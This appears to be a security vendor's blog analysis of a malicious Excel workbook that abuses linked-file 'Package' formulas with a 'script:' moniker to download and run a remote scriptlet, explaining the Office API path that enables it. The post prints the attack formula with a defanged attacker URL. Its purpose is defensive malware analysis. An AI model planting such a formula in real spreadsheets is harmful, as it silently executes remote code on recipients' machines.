We’ve recently discovered a malicious Office Excel file that appeared to have the ability to download and execute malware. Examining the file, we saw no evidence of macros, shellcode, or DDE functionality. When scanning the file on Virustotal, the low detection gives the appearance that we are witnessing an unknown technique.
User Infection
Upon opening this Office Excel file, the user is immediately prompted to update the workbook’s external links. External links are a Microsoft Office feature that allows an author to share an Office document with references to external resources, rather than embedding them directly, which keeps the document size small and more flexible to updates. From this perspective, the attack appears very similar to the DDE attack—an increasingly popular Office File exploit that abuses Microsoft’s Dynamic Data Exchange, to execute foreign code.
Upon updating links, the document instantly spawns cmd/PowerShell processes, which download and execute the next stage (exe):
Exe Delivered:
However, examining the Office Excel file, no evidence of a DDE attack can be found. What can be found, however, is simply one cell containing the formula =Package|’scRiPt:http://magchris[.]ga/images/squrey.xml’!””
Examining this URL, we find it pointing to a Microsoft scriptlet—a Microsoft XML wrapper for scripting languages to register themselves as COM objects and execute. This particular scriptlet wraps a VBScript, which is designed to download and execute the second stage of malware.
What is the “Package” Keyword?
While the formula format used may appear odd, it’s actually standard format for a linked file object in Excel. Here is demonstrated how one would create a link to a File Object in Excel:
After submitting, the cell formula becomes: =Package|’C:\users\myfile.txtl’!””, which now would cause the Excel spreadsheet to host a link to my local file inside the Excel document. Of course, dangers occur when this concept is modified for malicious purposes.
How Attackers Can Abuse Linked File Objects
To understand why this exploit works, we need to look at how Office evaluates this formula. When a user chooses to “update links”, Excel will parse the path portion of this formula and pass it to the MkParseDisplayName API function. MkParseDisplayName is responsible for parsing a human-readable URI (such as “scRiPt:http://magchris[.]ga/images/squrey.xml”) into a moniker best associated with the URI pattern. A moniker is simply an object interface that can be bound/applied to a resource – for example, a local file URI will be detected as a local file resource – thus returning a FileMoniker for object interaction. The table below shows examples of how different resource URIs are handled as monikers:
As you can see, since the attackers are specifying the “script:” prefix in their resource URI, the MkParseDisplayName identifies the resource as a scriptlet, thus returning a moniker to a Windows Script Component (ComScriptletMoniker – {06290BD3-48AA-11D2-8432-006008C3FBFC}).
Now that a Windows Script Component moniker is associated with the linked object in Excel, the attack is just one API away from script execution. Following this moniker resolution, the result is then checked to see if it appears to be a FileMoniker or not, as seen in disassembly below.
In this malicious workbook, the moniker is not detected as a FileMoniker, but rather as MKSYS_NONE, since it is a ComScriptletMoniker. This causes execution to be diverted to an MSO.dll call (highlighted in red), which wraps a call to OleCreateLink:
When the linked data associated with a Scriptlet Moniker is passed to OleCreateLink API, the remote resource is downloaded and executed, resulting in system compromise. The image below shows Excel being debugged while we “update workbook links”, which results in a call to OleCreateLink (with scriptlet moniker) and executes the remote script, resulting in cmd and PowerShell instances to execute (seen in the lower right window – Processhacker.exe).
Payload
While this exploit is very effective, the particular sample attempting to leverage it appears to have a bug resulting in the final payload failing to execute. This is because they are using the Powershell “Start” command on an executable file that is missing the “.exe” file extension. This fails to start properly since Powershell’s “Start” uses “ShellExecute” API to properly lookup the application associated with the target’s file extension. Due to this, the final payload will not be seen in a dynamic environment, however, the anomalies and exploit steps used to get there are properly detected and scored as malicious, as seen in our sandbox analysis screenshot below.
While this initial variant appears to have an ineffective payload, we foresee future samples that will effectively leverage this exploit very soon.
Conclusion
In recent months, we have seen attackers exploit a number of “logic flaws” in Microsoft Office to attack users. These flaws are particularly problematic because these attacks are very reliable, as minor version differences in the vulnerable application (or environment) typically do not affect the chances of a successful exploit as is the case in many traditional vulnerabilities. At the same time, logic flaws often do not require any traditional shellcode embedded in the document, which makes them more difficult to spot using traditional, signature-based detection solutions. Sandbox-based analysis solutions, on the other hand, allow tracking behavior just like on a real target system and can overcome even previously unseen, 0-day exploits using logic flaws.
The post When Scriptlets Attack: Excel’s Alternative to DDE Code Execution appeared first on Lastline.
Article Link: https://www.lastline.com/labsblog/when-scriptlets-attack-excels-alternative-to-dde-code-execution/